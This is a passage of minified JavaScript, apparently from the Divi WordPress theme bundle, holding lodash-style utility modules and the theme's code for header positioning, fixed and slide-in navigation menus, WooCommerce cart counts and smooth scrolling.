t&&t&&!t.nodeType&&t,s=r&&r.exports===o?i.Buffer:void 0,c=(s?s.isBuffer:void 0)||a;t.exports=c}).call(this,n(17)(t))},function(t,e){t.exports=function(){return!1}},function(t,e){var n=/^(?:0|[1-9]\d*)$/;t.exports=function(t,e){var i=typeof t;return!!(e=null==e?9007199254740991:e)&&("number"==i||"symbol"!=i&&n.test(t))&&t>-1&&t%1==0&&t<e}},function(t,e,n){var i=n(48),a=n(49),o=n(50),r=o&&o.isTypedArray,s=r?a(r):i;t.exports=s},function(t,e,n){var i=n(1),a=n(15),o=n(3),r={};r["[object Float32Array]"]=r["[object Float64Array]"]=r["[object Int8Array]"]=r["[object Int16Array]"]=r["[object Int32Array]"]=r["[object Uint8Array]"]=r["[object Uint8ClampedArray]"]=r["[object Uint16Array]"]=r["[object Uint32Array]"]=!0,r["[object Arguments]"]=r["[object Array]"]=r["[object ArrayBuffer]"]=r["[object Boolean]"]=r["[object DataView]"]=r["[object Date]"]=r["[object Error]"]=r["[object Function]"]=r["[object Map]"]=r["[object Number]"]=r["[object Object]"]=r["[object RegExp]"]=r["[object Set]"]=r["[object String]"]=r["[object WeakMap]"]=!1,t.exports=function(t){return o(t)&&a(t.length)&&!!r[i(t)]}},function(t,e){t.exports=function(t){return function(e){return t(e)}}},function(t,e,n){(function(t){var i=n(14),a=e&&!e.nodeType&&e,o=a&&"object"==typeof t&&t&&!t.nodeType&&t,r=o&&o.exports===a&&i.process,s=function(){try{var t=o&&o.require&&o.require("util").types;return t||r&&r.binding&&r.binding("util")}catch(t){}}();t.exports=s}).call(this,n(17)(t))},function(t,e,n){var i=n(52),a=n(53),o=Object.prototype.hasOwnProperty;t.exports=function(t){if(!i(t))return a(t);var e=[];for(var n in Object(t))o.call(t,n)&&"constructor"!=n&&e.push(n);return e}},function(t,e){var n=Object.prototype;t.exports=function(t){var e=t&&t.constructor;return t===("function"==typeof e&&e.prototype||n)}},function(t,e,n){var i=n(54)(Object.keys,Object);t.exports=i},function(t,e){t.exports=function(t,e){return function(n){return t(e(n))}}},function(t,e,n){var i=n(56),a=n(89);t.exports=function(t,e){for(var n=0,o=(e=i(e,t)).length;null!=t&&n<o;)t=t[a(e[n++])];return n&&n==o?t:void 0}},function(t,e,n){var i=n(2),a=n(57),o=n(58),r=n(87);t.exports=function(t,e){return i(t)?t:a(t,e)?[t]:o(r(t))}},function(t,e,n){var i=n(2),a=n(5),o=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;t.exports=function(t,e){if(i(t))return!1;var n=typeof t;return!("number"!=n&&"symbol"!=n&&"boolean"!=n&&null!=t&&!a(t))||(r.test(t)||!o.test(t)||null!=e&&t in Object(e))}},function(t,e,n){var i=n(59),a=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,o=/\\(\\)?/g,r=i((function(t){var e=[];return 46===t.charCodeAt(0)&&e.push(""),t.replace(a,(function(t,n,i,a){e.push(i?a.replace(o,"$1"):n||t)})),e}));t.exports=r},function(t,e,n){var i=n(60);t.exports=function(t){var e=i(t,(function(t){return 500===n.size&&n.clear(),t})),n=e.cache;return e}},function(t,e,n){var i=n(61);function a(t,e){if("function"!=typeof t||null!=e&&"function"!=typeof e)throw new TypeError("Expected a function");var n=function(){var i=arguments,a=e?e.apply(this,i):i[0],o=n.cache;if(o.has(a))return o.get(a);var r=t.apply(this,i);return n.cache=o.set(a,r)||o,r};return n.cache=new(a.Cache||i),n}a.Cache=i,t.exports=a},function(t,e,n){var i=n(62),a=n(82),o=n(84),r=n(85),s=n(86);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e<n;){var i=t[e];this.set(i[0],i[1])}}c.prototype.clear=i,c.prototype.delete=a,c.prototype.get=o,c.prototype.has=r,c.prototype.set=s,t.exports=c},function(t,e,n){var i=n(63),a=n(74),o=n(81);t.exports=function(){this.size=0,this.__data__={hash:new i,map:new(o||a),string:new i}}},function(t,e,n){var i=n(64),a=n(70),o=n(71),r=n(72),s=n(73);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e<n;){var i=t[e];this.set(i[0],i[1])}}c.prototype.clear=i,c.prototype.delete=a,c.prototype.get=o,c.prototype.has=r,c.prototype.set=s,t.exports=c},function(t,e,n){var i=n(6);t.exports=function(){this.__data__=i?i(null):{},this.size=0}},function(t,e,n){var i=n(13),a=n(66),o=n(11),r=n(68),s=/^\[object .+?Constructor\]$/,c=Function.prototype,l=Object.prototype,_=c.toString,d=l.hasOwnProperty,p=RegExp("^"+_.call(d).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");t.exports=function(t){return!(!o(t)||a(t))&&(i(t)?p:s).test(r(t))}},function(t,e,n){var i,a=n(67),o=(i=/[^.]+$/.exec(a&&a.keys&&a.keys.IE_PROTO||""))?"Symbol(src)_1."+i:"";t.exports=function(t){return!!o&&o in t}},function(t,e,n){var i=n(4)["__core-js_shared__"];t.exports=i},function(t,e){var n=Function.prototype.toString;t.exports=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},function(t,e){t.exports=function(t,e){return null==t?void 0:t[e]}},function(t,e){t.exports=function(t){var e=this.has(t)&&delete this.__data__[t];return this.size-=e?1:0,e}},function(t,e,n){var i=n(6),a=Object.prototype.hasOwnProperty;t.exports=function(t){var e=this.__data__;if(i){var n=e[t];return"__lodash_hash_undefined__"===n?void 0:n}return a.call(e,t)?e[t]:void 0}},function(t,e,n){var i=n(6),a=Object.prototype.hasOwnProperty;t.exports=function(t){var e=this.__data__;return i?void 0!==e[t]:a.call(e,t)}},function(t,e,n){var i=n(6);t.exports=function(t,e){var n=this.__data__;return this.size+=this.has(t)?0:1,n[t]=i&&void 0===e?"__lodash_hash_undefined__":e,this}},function(t,e,n){var i=n(75),a=n(76),o=n(78),r=n(79),s=n(80);function c(t){var e=-1,n=null==t?0:t.length;for(this.clear();++e<n;){var i=t[e];this.set(i[0],i[1])}}c.prototype.clear=i,c.prototype.delete=a,c.prototype.get=o,c.prototype.has=r,c.prototype.set=s,t.exports=c},function(t,e){t.exports=function(){this.__data__=[],this.size=0}},function(t,e,n){var i=n(7),a=Array.prototype.splice;t.exports=function(t){var e=this.__data__,n=i(e,t);return!(n<0)&&(n==e.length-1?e.pop():a.call(e,n,1),--this.size,!0)}},function(t,e){t.exports=function(t,e){return t===e||t!=t&&e!=e}},function(t,e,n){var i=n(7);t.exports=function(t){var e=this.__data__,n=i(e,t);return n<0?void 0:e[n][1]}},function(t,e,n){var i=n(7);t.exports=function(t){return i(this.__data__,t)>-1}},function(t,e,n){var i=n(7);t.exports=function(t,e){var n=this.__data__,a=i(n,t);return a<0?(++this.size,n.push([t,e])):n[a][1]=e,this}},function(t,e,n){var i=n(18)(n(4),"Map");t.exports=i},function(t,e,n){var i=n(8);t.exports=function(t){var e=i(this,t).delete(t);return this.size-=e?1:0,e}},function(t,e){t.exports=function(t){var e=typeof t;return"string"==e||"number"==e||"symbol"==e||"boolean"==e?"__proto__"!==t:null===t}},function(t,e,n){var i=n(8);t.exports=function(t){return i(this,t).get(t)}},function(t,e,n){var i=n(8);t.exports=function(t){return i(this,t).has(t)}},function(t,e,n){var i=n(8);t.exports=function(t,e){var n=i(this,t),a=n.size;return n.set(t,e),this.size+=n.size==a?0:1,this}},function(t,e,n){var i=n(88);t.exports=function(t){return null==t?"":i(t)}},function(t,e,n){var i=n(10),a=n(16),o=n(2),r=n(5),s=i?i.prototype:void 0,c=s?s.toString:void 0;t.exports=function t(e){if("string"==typeof e)return e;if(o(e))return a(e,t)+"";if(r(e))return c?c.call(e):"";var n=e+"";return"0"==n&&1/e==-1/0?"-0":n}},function(t,e,n){var i=n(5);t.exports=function(t){if("string"==typeof t||i(t))return t;var e=t+"";return"0"==e&&1/t==-1/0?"-0":e}},,,,,,function(t,e,n){"use strict";n.r(e);n(21),n(22),n(23);var i=n(19),a=n.n(i),o=n(9),r=n.n(o),s=n(20),c=n.n(s),l=n(0);var _=function(){return window.et_builder_utils_params?window.et_builder_utils_params:l.a.et_builder_utils_params?l.a.et_builder_utils_params:{}},d=function(){return r()(_(),"builderType","")},p=function(t){return t===d()},u=function(t){return r()(_(),"condition.".concat(t))},f=(p("fe"),p("vb"),p("bfb"),p("tb"),p("lbb"),u("diviTheme"),u("extraTheme"),p("lbp"),c()(l.a.document).find(".edit-post-layout__content").length,a()(["vb","bfb","tb","lbb"],d()));!function(t){window.et_calculating_scroll_position=!1,window.et_side_nav_links_initialized=!1;var e=f?ET_Builder.Frames.top:window,n={};function i(){return n.et_get_first_section?n.et_get_first_section:n.et_get_first_section=t(".et-l:not(.et-l--footer) .et_pb_section:visible").first()}var a="ontouchstart"in window||navigator.maxTouchPoints,o=t(window),r=t("#main-content .container:first-child");function s(t,e,n){var i,a,o,r,s,c=Date.now||(new Date).getTime(),l=function l(){var _=c-r;_<e&&_>=0?i=setTimeout(l,e-_):(i=null,n||(s=t.apply(o,a),i||(o=a=null)))};return function(){o=this,a=arguments,r=c;var _=n&&!i;return i||(i=setTimeout(l,e)),_&&(s=t.apply(o,a),o=a=null),s}}function c(e){var n,i=t("body"),a=t("#logo"),o=parseInt(a.attr("data-actual-width")),r=parseInt(a.attr("data-actual-height")),s=parseInt(a.attr("data-height-percentage")),c=t("#et-top-navigation"),l=parseInt(c.attr("data-height")),_=parseInt(c.attr("data-fixed-height")),d=t("#main-header"),p=i.hasClass("et_header_style_split"),u=d.hasClass("et-fixed-header"),f=i.hasClass("et_hide_primary_logo"),h=i.hasClass("et_hide_fixed_logo"),b=u?l:_;e=void 0!==e&&e,p&&!window.et_is_vertical_nav&&(e&&(b=l),n=o*((b*(s/100)+22)/r),f&&(u||e)&&(n=0),!h||u||e||(n=0),t(".et_header_style_split .centered-inline-logo-wrap").css({width:n+"px"}))}function l(e){var n=t(".et_header_style_slide .et_slide_in_menu_container"),i=t(".et_header_style_slide #page-container, .et_header_style_slide.et_fixed_nav #main-header"),a=t(".et_header_style_slide #main-header"),o=n.hasClass("et_pb_slide_menu_opened"),r=void 0!==e?e:"auto",s=t("body").hasClass("et_boxed_layout"),c=s?parseFloat(t("#page-container").css("margin-left")):0,l=n.innerWidth(),_=t("body").hasClass("rtl");"auto"!==r&&(o&&"open"===r||!o&&"close"===r)||(o?(_?(n.css({left:"-"+l+"px"}),i.css({right:"0px"})):(n.css({right:"-"+l+"px"}),i.css({left:"0px"})),s&&et_is_fixed_nav&&(_?a.css({right:c+"px"}):a.css({left:c+"px"})),setTimeout((function(){n.css({display:"none"})}),700)):(n.css({display:"block"}),setTimeout((function(){if(_?(n.css({left:"0px"}),i.css({right:"-"+(l-c)+"px"})):(n.css({right:"0px"}),i.css({left:"-"+(l-c)+"px"})),s&&et_is_fixed_nav){var t=0>l-2*c?Math.abs(l-2*c):"-"+(l-2*c);t<l&&(_?a.css({right:t+"px"}):a.css({left:t+"px"}))}}),50)),t("body").toggleClass("et_pb_slide_menu_active"),n.toggleClass("et_pb_slide_menu_opened"))}function _(){if(et_is_fixed_nav&&!(980>=parseInt(o.width()))){var e=parseInt(t("#main-header").length?t("#main-header").innerHeight():0);t("html, body").animate({scrollTop:t("form.checkout").offset().top-100-e},1e3)}}function d(){var e=t(".et_header_style_fullscreen .et_slide_in_menu_container"),n=e.find(".et_slide_menu_top").innerHeight();e.toggleClass("et_pb_fullscreen_menu_opened"),t("body").toggleClass("et_pb_fullscreen_menu_active"),p(),e.hasClass("et_pb_fullscreen_menu_opened")?(e.addClass("et_pb_fullscreen_menu_animated"),e.css({"padding-top":n+20+"px"})):setTimeout((function(){e.removeClass("et_pb_fullscreen_menu_animated")}),1e3)}function p(t){if(f){var n=jQuery(".et_header_style_fullscreen .et_slide_in_menu_container.et_pb_fullscreen_menu_opened");if(n.length>0){var i=jQuery(e).height();i-=parseInt(n.css("padding-top"),10),n.closest(".admin-bar").length>0&&(i-=32),n.find(".et_pb_fullscreen_nav_container").css("max-height",i+"px")}}}if(document.addEventListener("DOMContentLoaded",(function(){var n,a=t("body").hasClass("et_fixed_nav")||t("body").hasClass("et_vertical_fixed"),l=t("body").hasClass("et_vertical_fixed"),_=t("body").hasClass("rtl"),u=t("body").hasClass("et_hide_nav"),h=t("body").hasClass("et_header_style_left"),b=t("#top-header"),v=t("#main-header"),m=t("#page-container"),g=t("body.single"),w=!1,y=0,x=t("#et-top-navigation"),C=t("#logo"),k=t("ul.nav, ul.menu"),j=t(".container"),T=t("body").hasClass("et_is_customize_preview"),O=t("#et-secondary-menu a.et-cart-info");if(t(".woocommerce .woocommerce-product-gallery").length>0){var S=t(".woocommerce-product-gallery")[0],P=S.outerHTML.replace("data-columns","data-cols");S.outerHTML=P}function z(){var e=t("#main-header > .container > .logo_container"),n=t(".centered-inline-logo-wrap > .logo_container"),i=x.children("nav").children("ul").children("li").length,a=Math.round(i/2)-1,r=window.innerWidth||o.width();r>980&&e.length&&t("body").hasClass("et_header_style_split")&&(t('<li class="centered-inline-logo-wrap"></li>').insertAfter(x.find("nav > ul >li:nth("+a+")")),e.appendTo(x.find(".centered-inline-logo-wrap"))),r<=980&&n.length&&(n.prependTo("#main-header > .container"),t("#main-header .centered-inline-logo-wrap").remove())}function I(){var e=t("body");if(e.hasClass("et_boxed_layout")&&e.hasClass("et_vertical_fixed")&&e.hasClass("et_vertical_right")){var n=parseFloat(t("#page-container").css("margin-right"));n=0>(n+=parseFloat(t("#et-main-area").css("margin-right"))-225)?0:n,t("#main-header").addClass("et_vertical_menu_set").css({left:"",right:n+"px"})}}O.length>0&&t(".shop_table.cart").length>0&&t(document.body).on("updated_wc_div",(function(){var e,n=0;t(".shop_table.cart").find(".product-quantity input").each((function(){n+=parseInt(t(this).val())})),e=(e=1===n?DIVI.item_count:DIVI.items_count).replace("%d",n),O.find("span").text(e)})),window.et_pb_init_nav_menu(k),(t(".et_header_style_split").length&&!window.et_is_vertical_nav||T)&&(z(),t(window).on("resize",(function(){z()}))),window.et_is_vertical_nav&&(t("#main-header").height()<t("#et-top-navigation").height()&&t("#main-header").height(t("#et-top-navigation").height()+t("#logo").height()+100),I()),window.et_calculate_header_values=function(){var e=b.length&&b.is(":visible")?parseInt(b.innerHeight()):0,i=t("#wpadminbar").length?parseInt(t("#wpadminbar").innerHeight()):0,a=t(".et_header_style_slide .et_slide_in_menu_container"),o=t("body").hasClass("rtl");if(y=parseInt(t("#main-header").length?t("#main-header").innerHeight():0)+e,n=(y<=90?y-29:y-56)+i,a.length&&!t("body").hasClass("et_pb_slide_menu_active")&&(o?a.css({left:"-"+parseInt(a.innerWidth())+"px",display:"none"}):a.css({right:"-"+parseInt(a.innerWidth())+"px",display:"none"}),t("body").hasClass("et_boxed_layout")))if(o){var r=m.css("margin-right");v.css({right:r})}else{r=m.css("margin-left");v.css({left:r})}};var A=t("#commentform");if(et_pb_form_placeholders_init(A),A.on("submit",(function(){et_pb_remove_placeholder_text(A)})),et_duplicate_menu(t("#et-top-navigation ul.nav"),t("#et-top-navigation .mobile_nav"),"mobile_menu","et_mobile_menu"),et_duplicate_menu("",t(".et_pb_fullscreen_nav_container"),"mobile_menu_slide","et_mobile_menu","no_click_event"),t("ul.et_disable_top_tier").length){var E=t("ul.et_disable_top_tier > li > ul").prev("a");E.attr("href","#"),E.on("click",(function(t){t.preventDefault()}));var B=t("ul#mobile_menu > li > ul").prev("a");B.attr("href","#"),B.on("click",(function(t){t.preventDefault()}))}if(t("#et-secondary-nav").length&&t("#et-top-navigation #mobile_menu").append(t("#et-secondary-nav").clone().html()),t(".et_slide_in_menu_container").length){var M=t(".et_slide_in_menu_container").find(".menu-item-has-children > a");M.length&&M.append('<span class="et_mobile_menu_arrow"></span>')}function H(n){setTimeout((function(){var n=0,i=t("body"),a=f?e.jQuery("#wpadminbar"):t("#wpadminbar"),o=e.jQuery("html"),r=t("#top-header"),s=o.is(".et-fb-preview--zoom:not(.et-fb-preview--desktop)");if(s=(s=s||o.is(".et-fb-preview--tablet"))||o.is(".et-fb-preview--phone"),a.length&&!Number.isNaN(a.innerHeight())){var c=parseFloat(a.innerHeight());n+=f&&s?0:c}r.length&&r.is(":visible")&&(n+=r.innerHeight());var l=i.hasClass("et_fixed_nav"),_=!l&&i.hasClass("et_transparent_nav")&&i.hasClass("et_secondary_nav_enabled");window.et_is_vertical_nav||!l&&!_||t("#main-header").css("top",n+"px")}),n)}function F(){var e=t("body"),n=t(document).height(),i=t(window).height()+y+200;e.hasClass("et_vertical_nav")||(e.hasClass("et_hide_nav")||e.hasClass("et_hide_nav_disabled")&&e.hasClass("et_fixed_nav"))&&(n>i?(e.hasClass("et_hide_nav_disabled")&&(e.addClass("et_hide_nav"),e.removeClass("et_hide_nav_disabled")),t("#main-header").css("transform","translateY(-"+y+"px)"),t("#top-header").css("transform","translateY(-"+y+"px)")):(t("#main-header").css({transform:"translateY(0)",opacity:"1"}),t("#top-header").css({transform:"translateY(0)",opacity:"1"}),e.removeClass("et_hide_nav"),e.addClass("et_hide_nav_disabled")),W())}function L(t,e){var n={};n[e]=t.css(e),t.attr({"data-fix-page-container":"on"}).data({fix_page_container_style:n})}function D(t,e){if(void 0===t)return!1;var n=t.split("|");return void 0!==n[e]&&n[e]}function W(){var e,n,s=parseInt(o.width()),c=b.length&&b.is(":visible")?parseInt(b.innerHeight()):0,l=0,_=v.clone().addClass("et-disabled-animations main-header-clone").css({opacity:"0px",position:"fixed",top:"auto",right:"0px",bottom:"0px",left:"0px"}).appendTo(t("body"));if(t("body").hasClass("et-bfb")||t('*[data-fix-page-container="on"]').each((function(){var e=t(this),n=e.data();n&&n.fix_page_container_style&&e.css(n.fix_page_container_style)})),s>980&&(!v.attr("data-height-loaded")||t("body").is(".et-fb"))){var d=0;v.hasClass("et-fixed-header")?(_.removeClass("et-fixed-header"),d=_.height(),_.addClass("et-fixed-header")):d=v.height(),v.attr({"data-height-onload":parseInt(d),"data-height-loaded":!0})}if(s<=980?(e=parseInt(v.length?v.innerHeight():0)+c-(t("body").hasClass("et-fb")?0:1),window.et_is_transparent_nav&&!i().length&&(e+=58)):(e=parseInt(v.attr("data-height-onload"))+c,window.et_is_transparent_nav&&!window.et_is_vertical_nav&&r.length&&(e+=58),l=_.height()),u){var p=parseInt(x.data("height"))-parseInt(x.data("fixed-height"));l=parseInt(v.data("height-onload"))-p}v.attr({"data-fixed-height-onload":l});var f=t(".et_fixed_nav.et_transparent_nav.et-db.et_full_width_page #left-area > .woocommerce-notices-wrapper");if(f.length>0&&"yes"!==f.attr("data-position-set")){var h=l;0===h&&v.attr("data-height-onload")&&(h=v.attr("data-height-onload")),f.css("marginTop",parseFloat(h)+"px"),f.animate({opacity:"1"}),f.attr("data-position-set","yes")}var w=t(document).height(),C=t(window).height()+y+200>w,k=parseInt(t(window).width())>980&&u;if(!window.et_is_transparent_nav||window.et_is_vertical_nav||k&&!C)a&&m.css("paddingTop",e+"px");else{t("body").hasClass("et-bfb")||i().addClass("et_pb_section_first");var j=i().length,T=j&&g.length,O=r.find(".et_post_meta_wrapper").first(),S=O.find("h1.entry-title"),P=t(".single.et_pb_pagebuilder_layout.et_full_width_page"),z=P.length&&S.length,I=P.length&&0===S.length,A=T&&t(".et-l--body").length,E=i().is(".et_pb_fullwidth_section"),B=s<=980&&r.length,M=t("body").hasClass("single-project");if(A||!T||I&&E||M)if(E){var F=i().children(".et_pb_module:visible").first();if(I&&E&&s>980&&(e-=58),F.is(".et_pb_slider")){var W=F.find(".et_pb_slide_image"),q=F.find(".et_pb_slide"),N=F.find(".et_pb_slide .et_pb_container"),$=0-parseInt(W.height())/2,V=F.find(".et-pb-slider-arrows a"),R=V.height();L(q,"paddingTop"),q.css({paddingTop:e+"px"}),N.css({"min-height":""}),L(W,"marginTop"),W.css({marginTop:$+"px"}),L(V,"marginTop"),V.css({marginTop:e/2-R/2+"px"});var Q=0;F.find(".et_pb_slide").each((function(){var e=t(this),n=e.find(".et_pb_container");e.show(),n.css({"min-height":""});var i=n.innerHeight();Q<i&&(Q=i),e.is(':not(".et-pb-active-slide")')&&e.hide()})),L(N,"min-height"),N.css({"min-height":Q+"px"})}else if(F.is(".et_pb_fullwidth_header")){F.removeAttr("style");var U=parseInt(F.css("paddingTop"));L(F,"paddingTop"),F.css({paddingTop:e+U+"px"})}else if(F.is(".et_pb_fullwidth_portfolio"))L(F,"paddingTop"),F.css({paddingTop:e+"px"});else if(F.is(".et_pb_map_container")){var Z=F.find(".et_pb_map");Z.css({height:""}),F.find(".et_pb_map").css({height:e+parseInt(Z.css("height"))+"px"}),F.addClass("et_beneath_transparent_nav")}else if(F.is(".et_pb_menu")||F.is(".et_pb_fullwidth_menu"))L(F,"marginTop"),F.css({marginTop:e+"px"});else if(F.is(".et_pb_fullwidth_code")){var Y=F;Y.css({paddingTop:""});var G=parseInt(Y.css("paddingTop"));L(Y,"paddingTop"),Y.css({paddingTop:e+G+"px"})}else if(F.is(".et_pb_post_title")){L(F,"paddingTop"),F.css({paddingTop:e+50+"px"})}else F.length||(n=parseFloat(i().css("paddingTop")),L(i(),"paddingTop"),i().data("is_hide_nav")||i().css({paddingTop:n+e+"px"}),clearTimeout(window.et_fallback_transparent_adjustment_timeout),window.et_fallback_transparent_adjustment_timeout=setTimeout((function(){var a=t("body").hasClass("et_hide_nav")&&"matrix(1, 0, 0, 1, 0, 0)"!==t("#main-header").css("transform");a?i().css({paddingTop:""}):i().css({paddingTop:n+e+"px"}),i().data("is_hide_nav",a)}),300))}else if(j){i().css({paddingTop:""});var X,J=D(i().attr("data-padding"),0),K=D(i().attr("data-padding-tablet"),0),tt=D(i().attr("data-padding-phone"),0);J||K||tt?(s>980&&J?i().css({paddingTop:"number"==typeof J?J+"px":J}):s>767&&K?i().css({paddingTop:"number"==typeof K?K+"px":K}):tt&&i().css({paddingTop:"number"==typeof tt?tt+"px":tt}),X=parseInt(i().css("paddingTop")),i().css({paddingTop:e+X+"px"})):(n=e+parseInt(i().css("paddingTop")),L(i(),"paddingTop"),i().css({paddingTop:n+"px"}))}else B?r.css({paddingTop:e+"px"}):t("#main-content .container:first-child").css({paddingTop:e+"px"});else r.css({paddingTop:""}),s<980&&(e+=40),E&&i().css({paddingTop:"0px"}),z?O.css({paddingTop:e+"px"}):I?(L(i(),"paddingTop"),i().css({paddingTop:""}),i().css({paddingTop:"calc("+(e-58)+"px + "+i().css("paddingTop")+")"})):(L(r,"paddingTop"),r.css({paddingTop:e+"px"}));t("#et_fix_page_container_position").length||t("<style />",{id:"et_fix_page_container_position",text:"#page-container{ padding-top: 0 !important;}"}).appendTo("head");var et=t(".et_pb_section:visible").first(),nt=et.find(".et_pb_row:visible").first(),it=et.find(".et_pb_module:visible").first(),at=et.hasClass("et_pb_section_parallax"),ot=nt.hasClass("et_pb_section_parallax"),rt=it.hasClass("et_pb_section_parallax");(at||ot||rt)&&t(window).trigger("resize.etTrueParallaxBackground")}_.remove(),H(0),t(document).trigger("et-pb-header-height-calculated")}window.et_change_primary_nav_position=H,window.et_fix_page_container_position=W,j.data("previous-width",parseInt(j.width()));var q=s((function(){W(),"function"==typeof et_fix_fullscreen_section&&et_fix_fullscreen_section()}),200);function N(){if(a&&et_calculate_header_values(),setTimeout((function(){W()}),0),window.et_is_minified_js&&window.et_is_transparent_nav&&!window.et_is_vertical_nav&&t(window).trigger("resize"),window.hasOwnProperty("et_location_hash")&&""!==window.et_location_hash&&function(){var e=window.et_location_hash.replace(/(\|)/g,"\\$1");if(0!==t(e).length){var n=t(e+" .et_pb_map_container"),i=n.children(".et_pb_map"),a=t(e);void 0!==window.et_location_hash_style&&a.css("display",window.et_location_hash_style);var o=(void 0!==a.offset().top?a.offset().top:0)>4e3?1600:800;n.length&&google.maps.event.trigger(i[0],"resize"),a.parents().hasClass("commentlist")&&t(".reviews_tab").trigger("click").animate({scrollTop:a.offset().top},700),setTimeout((function(){et_pb_smooth_scroll(a,!1,o,"swing"),setTimeout((function(){et_pb_smooth_scroll(a,!1,150,"linear")}),o+25)}),700)}}(),h&&!window.et_is_vertical_nav){var e=parseInt(t("#logo").width());_?x.css("padding-right",e+30+"px"):x.css("padding-left",e+30+"px")}if(t("p.demo_store").length&&t("p.demo_store").is(":visible")&&(t("#footer-bottom").css("margin-bottom",t("p.demo_store").innerHeight()+"px"),t(".woocommerce-store-notice__dismiss-link").on("click",(function(){t("#footer-bottom").css("margin-bottom","")}))),t.fn.waypoint){var s;if(l&&(s=t("#main-content")).waypoint({handler:function(e){c(),"down"===e?t("#main-header").addClass("et-fixed-header"):t("#main-header").removeClass("et-fixed-header")}}),a){var d=(i().length>0?i().offset().top:0)<=(t("#wpadminbar").length?t("#wpadminbar").height():0);d&&window.et_is_transparent_nav&&!window.et_is_vertical_nav&&i().length?(s=i().is(".et_pb_fullwidth_section")?i().children(".et_pb_module:visible").first():i().find(".et_pb_row:visible").first()).length||(s=t(".et-l .et_pb_module:visible").first()):s=d&&window.et_is_transparent_nav&&!window.et_is_vertical_nav&&r.length?t("#content-area"):t("#main-content");var p=!0;setTimeout((function(){p=!1}),0),s.waypoint({offset:function(){if(w&&(setTimeout((function(){et_calculate_header_values()}),200),w=!1),u)return n-y-200;var t=s.offset();return t.top<n&&(n=0-(n-t.top)),n},handler:function(e){if(c(),"down"===e){if(p&&0===o.scrollTop())return;if(v.addClass("et-fixed-header"),m.addClass("et-animated-content"),b.addClass("et-fixed-header"),!u&&!window.et_is_transparent_nav&&!t(".mobile_menu_bar_toggle").is(":visible")){var n,i,a,r=b.length?parseInt(b.height()):0;n=v.clone().addClass("et-fixed-header, et_header_clone").css({transition:"none",display:"none"}),i=parseInt(n.prependTo("body").height()),window.et_is_vertical_nav||(a=parseInt(m.css("padding-top"))-i-r+1,m.css("margin-top",-a+"px")),t(".et_header_clone").remove()}}else a=1,v.removeClass("et-fixed-header"),b.removeClass("et-fixed-header"),m.css("margin-top",-a+"px");window.dispatchEvent(new CustomEvent("ETDiviFixedHeaderTransitionStart",{detail:{marginTop:-a}})),setTimeout((function(){Z(),window.dispatchEvent(new CustomEvent("ETDiviFixedHeaderTransitionEnd",{detail:{marginTop:-a}}))}),400)}})}u&&F()}}t(window).on("resize",(function(){var n,i,r=parseInt(o.width()),s=j.length>0,c=s&&parseInt(j.data("previous-width"))||0,l=j.css("width"),_=void 0!==l?"%"!==l.substr(-1,1):"",d=s?_?parseInt(j.width()):parseInt((parseInt(j.width())/100).toFixed(0))*r:0,p=j.length&&c!==d,h=t(".et_slide_in_menu_container"),b=f?e.jQuery("#wpadminbar"):t("#wpadminbar"),g=t("body").hasClass("rtl");(a&&p&&(q(),j.data("previous-width",d)),u&&F(),(b.length&&a&&r>=740&&r<=782||f)&&(et_calculate_header_values(),H(0)),Z(),h.length&&!t("body").hasClass("et_pb_slide_menu_active")&&(g?h.css({left:"-"+parseInt(h.innerWidth())+"px",right:"unset"}):h.css({right:"-"+parseInt(h.innerWidth())+"px"}),t("body").hasClass("et_boxed_layout")&&a&&(g?(n=m.css("margin-right"),v.css({right:n})):(n=m.css("margin-left"),v.css({left:n})))),h.length&&t("body").hasClass("et_pb_slide_menu_active"))&&(t("body").hasClass("et_boxed_layout")?(n=parseFloat(m.css("margin-left")),m.css({left:"-"+(parseInt(h.innerWidth())-n)+"px"}),a&&(i=0>parseInt(h.innerWidth())-2*n?Math.abs(h.innerWidth()-2*n):"-"+(h.innerWidth()-2*n))<parseInt(h.innerWidth())&&v.css({left:i+"px"})):g?t("#page-container, .et_fixed_nav #main-header").css({right:"-"+parseInt(h.innerWidth())+"px"}):t("#page-container, .et_fixed_nav #main-header").css({left:"-"+parseInt(h.innerWidth())+"px"}));if(h.length&&t("body").hasClass("et_header_style_fullscreen")){var w=parseInt(h.find(".et_slide_menu_top").innerHeight());h.css({"padding-top":w+20+"px"})}I()})),f&&jQuery(".et_header_style_fullscreen .et_slide_in_menu_container").length>0&&jQuery(window).on("resize",p),t((function(){t.fn.fitVids&&t("#main-content").fitVids({customSelector:"iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']"})})),t('a[href*="#"]:not([href="#"]), .mobile_nav').on("click",(function(e){var n=t(this),i=n.closest(".et_smooth_scroll_disabled").length,a=n.closest(".woocommerce-tabs").length&&n.closest(".tabs").length,o=n.closest(".tt_tabs_navigation").length,r=n.closest(".eab-shortcode_calendar-navigation-link").length,s=n.closest(".view-cart-lnk").length,c=n.hasClass("acomment-reply"),l=n.closest(".hustle-ui").length,_=n.hasClass("woocommerce-review-link"),p=i||s||a||r||c||_||o||l;if((n.hasClass("mobile_nav")||location.pathname.replace(/^\//,"")==this.pathname.replace(/^\//,"")&&location.hostname==this.hostname)&&!p){var u=t(this.hash);if(n.hasClass("mobile_nav")&&(u=t("#"+e.target.hash.slice(1)),t(e.target).parent().hasClass("pum-trigger"))){e.preventDefault();var f=t(e.target).parent().attr("class").split(" ").filter((function(t){return t.includes("popmake")}))[0].split("-")[1];t("#pum-".concat(f)).css({opacity:"1",display:"block"}),t("#popmake-".concat(f)).css({opacity:"1",display:"block"})}if(!u.length&&this.hash&&(u=t("[name="+this.hash.slice(1)+"]")),u.length)return 